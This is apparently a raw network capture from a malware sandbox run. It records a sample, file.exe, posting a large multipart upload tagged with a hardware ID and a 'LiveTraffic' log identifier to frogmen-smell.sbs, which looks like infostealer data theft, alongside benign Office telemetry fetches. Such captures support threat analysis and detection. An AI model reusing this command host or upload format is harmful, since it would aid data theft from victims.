2024-11-15 12:18:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-15 12:18:20 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-15 12:18:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-15 12:18:20 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-15 12:18:20 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49707	172.67.174.133	443	2608	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:19 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QGVYHI8CGRR1I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588992 Host: frogmen-smell.sbs
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: 2d 2d 51 47 56 59 48 49 38 43 47 52 52 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 34 46 30 39 45 46 39 33 30 35 37 42 38 41 33 44 42 38 39 35 36 30 32 30 39 41 37 36 38 39 44 0d 0a 2d 2d 51 47 56 59 48 49 38 43 47 52 52 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 47 56 59 48 49 38 43 47 52 52 31 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 47 56 59 48 Data Ascii: --QGVYHI8CGRR1IContent-Disposition: form-data; name="hwid"54F09EF93057B8A3DB89560209A7689D--QGVYHI8CGRR1IContent-Disposition: form-data; name="pid"1--QGVYHI8CGRR1IContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--QGVYH
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: 2d 29 b8 77 c5 36 fb 82 60 9d 03 94 67 11 7a 68 d8 6f 09 da de 5b 1b c8 ec 92 af 1f e6 2b 00 29 6b 93 b4 99 0e d7 7d 1f d9 d2 be c9 8e a6 1a c5 1b 9d 86 39 44 82 27 f2 f5 01 15 a8 7d b8 a1 ed 73 ee 61 a9 e2 1d 58 75 8e 6d 19 35 92 76 0b b5 21 d6 17 b6 d7 6f b2 ad b9 4b 3d a7 cd f6 1b a7 c2 d2 8f 5e ff ed 59 37 e9 77 81 57 c8 14 3e 43 23 a2 3f f4 f2 ec 8d 7f f6 15 11 c4 4a b0 be 43 ae b9 c8 af 62 e6 d2 90 8e c6 5e 07 ed fa 39 f4 0c d9 16 ff 3f e4 f0 d2 31 3a 48 95 4a 50 52 15 16 ed af 48 c7 57 22 4d b9 bb b4 f9 01 d4 6f be dc 28 88 4b 3f 3a 95 fb c3 dc 9c db 48 48 f0 0e 6a 50 87 85 5d 55 91 4c c9 74 32 cc 8c a4 06 83 94 2f 8e 9e b8 d7 83 8a 52 ee 6b 87 47 a3 4e 07 77 e8 fb 71 cf 3b 70 6f 3b fb 38 26 2e df 93 56 49 f6 c5 7a f6 a6 f2 11 43 39 b6 e6 66 5f a6 Data Ascii: -)w6`gzho[+)k}9D'}saXum5v!oK=^Y7wW>C#?JCb^9?1:HJPRHW"Mo(K?:HHjP]ULt2/RkGNwq;po;8&.VIzC9f_
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: aa d2 5c d0 59 3a ec d1 cb e4 60 3a 6d 17 39 2a df b3 d0 35 83 f8 ca 99 97 44 b4 05 82 cb 21 71 6d 7f f1 eb ec 5b af 36 5e 87 55 55 25 2e c4 ca 4c 35 24 80 f5 74 12 ee bb c4 64 a6 71 f0 c2 39 78 c7 20 d2 38 11 e7 cb 81 47 ad 6a 6e 51 cf 69 2f 46 29 f4 18 c3 41 5d fa 71 9b 5f d1 71 be fe 0c 9f 71 59 7b f2 b0 d0 05 eb 5b 92 61 fe 47 f0 cb 93 cf 62 f0 c3 3c a3 53 22 e9 8e 16 5b 86 b3 2f ba f6 9b c3 fe c8 7e 81 68 10 c3 5d 5d 35 51 65 3d 4f c8 7c a2 cb 02 eb 73 e3 25 25 8c de a1 5c 3e c3 b1 bb 6e 6c 1b f0 ab 7a de 0f 59 36 27 3c 47 2e db 4c 55 fb ed 47 fc c0 27 6c bf 5d 4f fe 57 06 15 ed 42 4f fb db 24 6e e7 d2 f2 07 dd e6 45 42 6b 22 ba f3 03 78 c1 c6 62 83 02 73 aa 9f dc e5 5e 36 55 0f ea 37 9d d1 2b 82 cd 21 59 f2 c9 48 93 d6 88 32 2c 8a 2e d4 ff f8 f3 a6 Data Ascii: \Y:`:m9*5D!qm[6^UU%.L5$tdq9x 8GjnQi/F)A]q_qqY{[aGb<S"[/~h]]5Qe=O\|s%%\>nlzY6'<G.LUG'l]OWBO$nEBk"xbs^6U7+!YH2,.
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: 40 3f 74 8a c9 97 c3 d9 d7 94 1a ee ca cc 3e 11 4f db 0f 6c bb 33 4d 6b df a7 5d 89 27 bf d0 3d ba b0 13 f4 a5 b8 68 23 67 07 4c f8 c1 f4 de 8f 34 89 6c 12 6a e6 4b 7a f8 15 a0 ae cd 4c 9a 84 43 4b 6d fe bd cb 31 9a 30 34 89 89 31 ec ee 8d 72 94 fa a8 d4 f0 bc c5 9a 9f a8 4c 3f 5b 96 eb 69 c2 2f 7c 09 03 6f 20 6f c6 e7 14 1c 77 39 2f ee c1 3f 2f 85 86 2f 79 c8 ed f2 6d a1 7c f6 17 02 47 a7 79 b2 87 20 79 fb aa d5 bc 10 1c 65 6a 48 3b 41 e4 e9 f6 69 60 bf 91 bf 0b 08 dc ab 1a 5b 78 9d 01 49 66 bb 34 94 3f 5f e4 5f e8 9b 49 93 c7 4a 80 41 23 95 56 90 ae e0 10 05 ed ae 5d 33 0b fc 37 5e b6 1b d1 74 7c c3 d8 ea 44 96 c1 54 a4 c0 ea 5a 68 c0 cd 3a a3 d7 ab dd 0f 9a c2 d4 66 2e b4 c8 45 c4 cf b1 8f fd a8 7a a1 89 db cc d8 e3 8f bf e6 94 f6 e0 4b ac 86 d7 82 a6 Data Ascii: @?t>Ol3Mk]'=h#gL4ljKzLCKm1041rL?[i/\|o ow9/?//ym\|Gy yejH;Ai`[xIf4?__IJA#V]37^t\|DTZh:f.EzK
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: f6 32 b5 08 f9 85 5f 4b 12 91 51 5d 52 96 1b 93 13 88 27 e7 1d 33 16 c8 27 f4 45 a9 fe 4a fe 42 7d 92 85 e6 51 bf fe c9 13 1e 4b 36 f4 16 05 ba 57 af 22 0e 8f be c5 b5 9b c7 f2 a2 cc 4e bb 48 60 ee 99 48 cb 85 a2 c8 7e 6b 17 f0 b9 8b df eb 4c 62 bc f8 30 bf 2e 5c 7b 1a 35 bd df 36 9b 9c 11 9e f3 18 16 07 17 af e5 2d 5d d6 67 8a a2 3e 74 46 15 18 67 30 72 af e0 6f 25 ad cc ec 8a 5e b4 e2 2a 0b 0c dd c6 84 1e 04 a8 a6 64 17 2b 4d 0d 18 cf 35 18 8f 49 62 2d 48 21 6f 8b 3e f2 62 e8 0a fd 51 fe c6 a4 ff c7 c1 e4 fb bf 45 cb e5 5a f6 20 4d 47 c8 7b 17 a0 fb 25 81 b7 48 1b 25 2a 97 bc 27 2c 4f a0 0e 82 dd ac 9f ba ea f4 e1 9e 60 eb 40 34 10 93 8c 05 78 a2 82 8b f3 b5 44 60 73 09 4e e0 3b 8a 45 4a 6d ff 36 6a bb 9b c1 3c 7a d8 75 31 3f 5f 74 e8 7a 83 0e 0a 88 d1 Data Ascii: 2_KQ]R'3'EJB}QK6W"NH`H~kLb0.\{56-]g>tFg0ro%^d+M5Ib-H!o>bQEZ MG{%H%',O`@4xD`sN;EJm6j<zu1?_tz
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: 05 9a d2 99 2f 59 fd e8 b0 9b e2 24 68 ed a9 99 fd b7 24 e1 ec 05 e8 ab 93 62 1f 23 03 45 46 91 66 8a 7c 1e 83 14 42 ab c1 a6 77 bf 9e d4 e8 d9 07 c7 e0 45 d1 c1 22 4c cc 31 e2 ed 6d be e6 59 68 3b 75 fa 39 04 15 0d 44 8f 26 b7 b9 0e 9a 0b 61 7c 16 e3 eb a9 ff 78 fa 06 ad 21 29 bc 05 fc cf f3 94 92 27 23 e2 c2 68 2b 7b 96 ea 28 3d 15 97 10 26 0c 7c 9a 1c 94 a9 46 6f af 23 df e0 81 01 d6 09 98 11 72 75 20 08 12 5c 96 5a da 3b 39 1a 4e ee d3 9e 19 88 b2 d2 6c 69 5a b3 07 5f 1d b5 d3 68 8f d1 f8 f2 25 71 33 53 f4 0a fb 44 70 c6 e0 74 7a 12 b7 77 5e 7b a9 31 34 22 ab 07 0e 39 47 f6 cc ae be d5 5c 0a 5d 78 94 59 b1 51 7c 78 07 06 9c 3d ff e7 73 66 01 f2 af c3 2a 80 20 10 c4 2c f7 86 c9 f7 fd f2 cf 35 7e 4c 4c f1 30 5f e6 af 18 96 8e a1 a7 53 57 bb c6 39 ea 14 Data Ascii: /Y$h$b#EFf\|BwE"L1mYh;u9D&a\|x!)'#h+{(=&\|Fo#ru \Z;9NliZ_h%q3SDptzw^{14"9G\]xYQ\|x=sf* ,5~LL0_SW9
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: fc 2f 35 73 05 7d 69 53 2b 56 86 e9 b4 98 41 b5 05 84 66 12 5c e5 b2 48 67 9b f0 38 8a 6d 56 07 78 7e 2b aa a4 8f c5 27 0d 83 e7 02 26 78 e3 05 fc 5b b5 c3 43 47 f8 33 ae 96 25 05 03 8f 20 d8 6e 34 df 38 76 1f 16 0e 9e fb 7d dc 8d e5 2a 02 5c ab da de 3d 80 18 ca 03 80 61 38 42 1d 7e a2 ca 3f ce ac d5 54 c1 20 f9 e6 2d 88 3c c9 44 c3 0a 69 48 42 be 0f 05 93 66 24 c0 9a 00 ef 10 58 f8 f6 f6 79 7d ff c0 c5 55 c3 0f 6f be 37 b6 71 8c 6f f7 47 6c 54 12 05 c2 85 59 c7 92 8e 6d 66 8f 8f c8 6d 68 ae 67 9e cc 7e ff 74 31 52 dd 44 ef 03 25 79 bf a4 7c b9 fb 33 7b ff b9 ce 13 33 1f b7 26 d7 6e b9 49 ce 9c a1 cd 4b b8 35 37 8e 7d 43 76 4a 11 5c e4 5b 3e df 5a ad da 63 92 79 80 59 06 c8 c2 d0 72 2a f5 98 18 63 3b 41 ee 0e 3f e8 07 0a 49 73 df a1 b5 d5 fd c0 21 19 44 Data Ascii: /5s}iS+VAf\Hg8mVx~+'&x[CG3% n48v}\=a8B~?T -<DiHBf$Xy}Uo7qoGlTYmfmhg~t1RD%y\|3{3&nIK57}CvJ\[>ZcyYrc;A?Is!D
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: 7e fc 05 a0 3d 3b 4d c7 2d d9 71 eb 2c 10 d8 1a f1 0b 3d 08 fe 60 04 2e 6e 95 4f b8 ef f0 9e 2d dd fd a7 b1 02 22 73 55 d6 5a 7e 40 85 f0 4b 6f 05 d6 e0 1f 50 ae 19 3f ca 6e 95 30 2f df 08 5a 61 7f e2 9c 85 81 d8 c9 65 af ed 17 ec 5b f4 e1 df a7 d7 3a ef b7 55 77 19 d7 a7 c3 8e b8 64 56 9a 16 2d 15 de b6 15 83 b0 19 31 f4 fb 26 c9 70 f5 93 63 a6 a0 85 ac b2 45 ff 0a 99 98 91 23 04 24 05 cb 35 78 96 9b 96 16 5c 10 e4 21 f6 1f ac fc 6f ee 72 59 a6 69 e7 d7 e8 57 97 14 14 46 93 a5 62 5d 3f c3 be c0 c9 bf 48 f7 75 65 ab 56 f2 28 49 a4 c3 ac cb 65 c9 e9 e0 2e d9 0b b1 bc 55 20 37 f3 21 e9 f8 d1 a7 11 84 1b 34 bf 5c 94 c6 51 f2 fe b1 67 a8 e6 b8 ff 42 74 2d cf 02 aa d4 96 12 8d f2 21 88 17 ec d2 c3 b5 43 e4 db 04 70 73 9e 46 a9 a6 7a 1c cf 0b 30 20 8c e2 16 eb Data Ascii: ~=;M-q,=`.nO-"sUZ~@KoP?n0/Zae[:UwdV-1&pcE#$5x\!orYiWFb]?HueV(Ie.U 7!4\QgBt-!CpsFz0
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: c0 c9 6f 68 14 bb 0d 34 3a 2c 91 bf af dd 3b 6f 3f 2d 97 b9 7d 56 9a 5d 3d ab 75 69 d9 01 de 21 73 78 a6 ef 82 e7 06 1f e4 6e fd de 0e 38 e2 8a f3 d0 ec fa 0d aa 94 ba 18 c0 46 11 e0 02 35 1d 8f 79 fe bc 06 11 0e 4b fb 03 c7 b4 6d 8b e5 e6 90 f0 5c 59 d8 8e 14 99 1c 62 e8 b5 3c e5 a9 dc ad 2c 60 3f 6e 64 cf c3 87 b2 be 57 21 cc 09 a6 03 b2 2a 9b 26 40 85 09 08 a8 d5 90 43 7d 36 2f d2 72 d7 76 e7 87 71 95 28 69 13 33 9d c6 48 88 75 54 30 7b fb 19 29 61 5f ba 14 f9 28 97 86 82 0f 93 36 93 54 9d 57 1b a7 b5 39 3c e3 f7 66 d2 9a d7 4a c7 6c 77 20 ac e5 91 16 6e 30 ee b5 20 4d 3f 0a bd 93 5b 21 c0 25 93 8c 32 54 61 9d 03 a4 84 5d d8 7c 62 59 96 42 00 21 13 9e b7 e2 1e 6d 92 7f 93 a9 7e 66 19 f5 bb 24 1a 6f 82 9f 63 35 04 4c 2d c7 b3 ce 4f d6 26 f0 d8 c5 92 41 Data Ascii: oh4:,;o?-}V]=ui!sxn8F5yKm\Yb<,`?ndW!*&@C}6/rvq(i3HuT0{)a_(6TW9<fJlw n0 M?[!%2Ta]\|bYB!m~f$oc5L-O&A
2024-11-15 12:18:19 UTC	15331	OUT	Data Raw: a2 35 f1 12 0b 78 c4 9d 20 48 b3 9b 39 28 1d ae f2 c6 7d 67 2d e3 59 be c1 5c 22 a0 db 4a b3 eb 09 95 d4 bb a1 9a 70 f6 30 16 4c f4 24 86 35 d5 e9 01 bd 5a 6e ec 21 1b 32 f4 79 a6 35 2f c9 6e 55 ee 6b 2b 5f 9c 4b fc 22 87 0c bb c6 7a f5 2b 71 5a b3 41 2a 43 1e e4 ca ff 96 be ad e7 d7 92 51 1f 11 fe 37 36 2a 00 82 f0 0e e1 52 db 1f ee 51 f6 b3 0b 46 89 7e a0 7d 38 6b 94 d0 2d 64 aa f9 35 3c 3a 72 25 9c c9 57 d1 6a cc 70 df ca 5f 60 e4 61 41 8a 09 0c 6e e1 0b 5d bb 3c f4 d0 b1 6e 4b 77 a2 e6 29 f7 2d f5 f4 5b 15 ba b1 9c 92 04 cf 38 92 37 89 41 36 cd 87 21 57 d2 7b 90 90 54 c7 87 25 ce b5 1d a4 27 11 f6 ad 6b e3 56 09 99 09 78 bc 54 40 92 06 57 89 2d 61 ff 16 58 c4 7d dd 8a 0e 5d d5 37 88 ad 95 32 24 50 9e a2 e8 b6 f9 73 7e 6e d1 90 48 9e b4 67 60 bd c4 81 Data Ascii: 5x H9(}g-Y\"Jp0L$5Zn!2y5/nUk+_K"z+qZACQ76RQF~}8k-d5<:r%Wjp_`aAn]<nKw)-[87A6!W{T%'kVxT@W-aX}]72$Ps~nHg`
2024-11-15 12:18:23 UTC	1027	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ndlvi6eu8lmh0feahb5t2egm0u; expires=Tue, 11-Mar-2025 06:05:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0vv8%2BmLuvFcwy7t9g8wBfm2Oh2Qm0sGxJ3P33%2BarPu0RaG3XHJ7wr3qM9%2BkALZ62fZO16k6mON0vf4JoLN9uJWylzE0zI6x92y0qRrhXXqR7QqXe2%2F1Ni25vI6CJyssK6hbv%2Bg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2f2eeadb944666-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1057&sent=245&recv=644&lost=0&retrans=0&sent_bytes=2844&recv_bytes=591579&delivery_rate=2671586&cwnd=245&unsent_bytes=0&cid=85cdf47e70302ac0&ts=3996&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:21 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121821Z-16547b76f7fljddfhC1DFWeqbs0000000270000000000qv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:21 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:21 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:21 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: e7102de9-901e-0029-7d09-37274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121821Z-16547b76f7fht2hfhC1DFWbngg00000001rg000000003n0a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:21 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
